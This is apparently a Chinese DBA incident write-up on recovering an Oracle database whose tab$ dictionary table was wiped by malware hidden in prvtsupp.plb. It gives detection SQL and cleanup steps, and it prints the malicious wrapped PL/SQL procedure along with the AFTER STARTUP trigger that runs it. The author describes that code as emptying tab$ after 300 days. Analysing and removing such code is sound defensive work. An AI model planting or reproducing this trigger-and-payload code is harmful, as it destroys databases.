oracle-数据库被注入恶意攻击程序的案例恢复

问题描述：

Oracle数据库由于重启之后无法正常启动，tab$被清空(ORA-600 16703故障解析—tab$表被清空),导致数据库启动异常

ORA-600 16703报错

一、检测方法：

　　如下SQL语句查询各位所负责的数据库，确认没有记录表示未中病毒！

SELECT 'DROP TRIGGER '||OWNER||'."'||TRIGGER_NAME||'";' FROM DBA_TRIGGERS WHERE TRIGGER_NAME LIKE  'DBMS_%_INTERNAL%'
UNION ALL
SELECT 'DROP PROCEDURE '||OWNER||'."'||A.OBJECT_NAME||'";' FROM DBA_PROCEDURES A WHERE A.OBJECT_NAME LIKE 'DBMS_%_INTERNAL% '
UNION ALL
SELECT 'DROP PROCEDURE '||OWNER||'."'||OBJECT_NAME||'";' FROM DBA_OBJECTS WHERE OBJECT_NAME ='DBMS_SUPPORT_DBMONITORP'
UNION ALL
SELECT 'DROP TRIGGER '||OWNER||'."'||TRIGGER_NAME||'";' FROM DBA_TRIGGERS WHERE TRIGGER_NAME ='DBMS_SUPPORT_DBMONITOR'
;

二、处理办法

　　1、删除触发器及存储过程，如未重启数据库，可以直接drop

alter system set "_system_trig_enabled"=false scope=both;
 alter database open ;
 drop TRIGGER DBMS_SUPPORT_DBMONITOR;
 drop PROCEDURE DBMS_SUPPORT_DBMONITORP;
 drop PACKAGE DBMS_SUPPORT;

　　2、删除涉及的文件

　　查找有问题的文件

　　grep DBMS_SUPPORT_DBMONITOR $ORACLE_HOME/rdbms/admin/*　　

cat cat prvtsupp.plb

create or replace package body dbms_support wrapped
a000000
1
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
b
a60 422
xW0WZwigImD9oK/QRNfsTSh3Auowg1WnDNATfC/GEhmufwnV+9P0WqDNIlF2dnV+s3upfmqf
rhYFDt8l3zGLqIHIKA8LHTdWMbAjJijnilgImiTQxqLb7Rvq54xQmAIxVWQyRRkielbq/crk
XTZwdlvipWqmG8Ro/qlr45OmNXqIqB1PDJmm7IuE6ZpDL243ihzujSxNOIGPWrOUyP2SN+eZ
T3+ZScjP8S1E85fcxBNkhS9UMO/WFS8jHSroSXiNCo2/OI+yq2bv7ewhNdROu+ZI5nX4jUu8
bzTqKzYhNLNGsHpKUci9WsI9I7xxZ2QeqTHaHsjN0Ny7BgZoZZ+Y7KJ8Dh1W+O2QZMIqRgop
/vh0/0UQMRIZMkVP8J8CSEcEOWZDhc/mgaMU96xBMo5LZST/U9sKRyIr4z2wZRZax12eR/pB
wNFwTf6GLwPAsR7Oi+CJlg71idNqd++sGoZ8y3ovwgoOauNyf2zMohCcXSI+ZW9lA+u/kQMe
dK+4xApcYbQaerrXsP6c8vA2O12KnzlHp/G54L43inLP7d7m8FR9UR/ZKhRGkgl0i4dEXjHF
2Net/TvmugXWADJYjX9kJcaK2ivan3nqCbEPLgbN3Tda9UPostV/IyzkCCK0L1/2TwnSX8T3
3/Epc8/fVZE+T3IUQ347wGjYa2GBmNNQhfVqrE/rKmgBMeGe86crFnjm5eS/OgjcPZbZpKF1
9MN8BlFChM/3u4xWB6jp06YwVxt/lMpUX8brEV1bh5iadWlKPDjuJtdYkjWjXeMmJ9jNtPJA
O6wclKRgg7VSfcAabJtO5/zcZFdg+J8wboddGr6d++SMADCftpvHLn81ngc9oDSFDiIJXJWn
qzQk2FuckHq+yThiC4SFxcVxRV4nPdCEYqBfQrgkiXhMc9g1DL4Da8zi9nshgzT/fc/lrkzx
yE4zkpUhieqHxn5y/eiuQAA7WS0B/8bVXigQpNmq4W71rRiOt2rpg1DHbuuWn4jXOWowMxo0
eA1PRRb5CqBCRKqwoSJPO/mCKs6lH0wxx2M=

/

create or replace procedure DBMS_SUPPORT_DBMONITORP wrapped
a000000
369
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
7
166 17d
L+Q5S7kOFTBh3pJuFhl03zpaj2EwgzKur9zWZ47SR+pHN0Y8ER0IGya9iryn8BXxVZV99MqT
jPeDOVN1pQjRL9BBh4vtWEKCY/FfMGPnetcyOwrCiZd3y4XmBCby580I22k2zARou4x8Mwl7
GOEcpi6u23Rf2JOnTfA/PYL+pz7A1gvabRQrczX6dnK8HaHsERgX7VdwA3EsM784UwL6ESro
H+CNqON6SdF2HTUFBcmgBBPE/+blRgHQryEpxT3JOnEs1a8gUbjaLq+Xq9Eu9n/kdIwA+9ep
r59hpFLw/vnP7Cjaxk7WbJ6/XGj9F6DH+3MBxpFBmba1tk0pYAW1McQsYXNFbiSdxj1KnrmD
lUETCD2WIxfg3w==
/

PROMPT Create DBMS_SUPPORT_DBMONITOR TRIGGER
create or replace trigger DBMS_SUPPORT_DBMONITOR
after startup on database
declare
begin
   DBMS_SUPPORT_DBMONITORP;
end;
/

　　文件中“create or replace procedure DBMS_SUPPORT_DBMONITORP wrapped”以下的部分是建了一个脚本，解密后是运行300天后，重启时清空tab$

　    删掉对应的内容。

正常的内容

create or replace package body dbms_support wrapped
a000000

abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
b
a60
xW0WZwigImD9oK/QRNfsTSh3Auowg1WnDNATfC/GEhmufwnV+9P0WqDNIlF2dnV+s3upfmqf
rhYFDt8l3zGLqIHIKA8LHTdWMbAjJijnilgImiTQxqLb7Rvq54xQmAIxVWQyRRkielbq/crk
XTZwdlvipWqmG8Ro/qlr45OmNXqIqB1PDJmm7IuE6ZpDL243ihzujSxNOIGPWrOUyP2SN+eZ
T3+ZScjP8S1E85fcxBNkhS9UMO/WFS8jHSroSXiNCo2/OI+yq2bv7ewhNdROu+ZI5nX4jUu8
bzTqKzYhNLNGsHpKUci9WsI9I7xxZ2QeqTHaHsjN0Ny7BgZoZZ+Y7KJ8Dh1W+O2QZMIqRgop
/vh0/0UQMRIZMkVP8J8CSEcEOWZDhc/mgaMU96xBMo5LZST/U9sKRyIr4z2wZRZax12eR/pB
wNFwTf6GLwPAsR7Oi+CJlg71idNqd++sGoZ8y3ovwgoOauNyf2zMohCcXSI+ZW9lA+u/kQMe
dK+4xApcYbQaerrXsP6c8vA2O12KnzlHp/G54L43inLP7d7m8FR9UR/ZKhRGkgl0i4dEXjHF
2Net/TvmugXWADJYjX9kJcaK2ivan3nqCbEPLgbN3Tda9UPostV/IyzkCCK0L1/2TwnSX8T3
/Epc8/fVZE+T3IUQ347wGjYa2GBmNNQhfVqrE/rKmgBMeGe86crFnjm5eS/OgjcPZbZpKF1
9MN8BlFChM/3u4xWB6jp06YwVxt/lMpUX8brEV1bh5iadWlKPDjuJtdYkjWjXeMmJ9jNtPJA
O6wclKRgg7VSfcAabJtO5/zcZFdg+J8wboddGr6d++SMADCftpvHLn81ngc9oDSFDiIJXJWn
qzQk2FuckHq+yThiC4SFxcVxRV4nPdCEYqBfQrgkiXhMc9g1DL4Da8zi9nshgzT/fc/lrkzx
yE4zkpUhieqHxn5y/eiuQAA7WS0B/8bVXigQpNmq4W71rRiOt2rpg1DHbuuWn4jXOWowMxo0
eA1PRRb5CqBCRKqwoSJPO/mCKs6lH0wxx2M=

/

问题来源一般为介质自带或者被工具植入

介质排查：查看安装介质中的下列文件是否有上述病毒植入

p13390677_112040_Linux-x86-64_1of7.zip\database\stage\Components\oracle.rdbms.dbscripts\11.2.0.4.0\1\DataFiles\filegroup2.jar\rdbms\admin\prvtsupp.plb

　　参考链接

http://blog.sina.com.cn/s/blog_14d5a51a90102yphn.html

https://www.colabug.com/1676100.html

http://blog.sina.cn/dpool/blog/s/blog_14d5a51a90102yoyz.html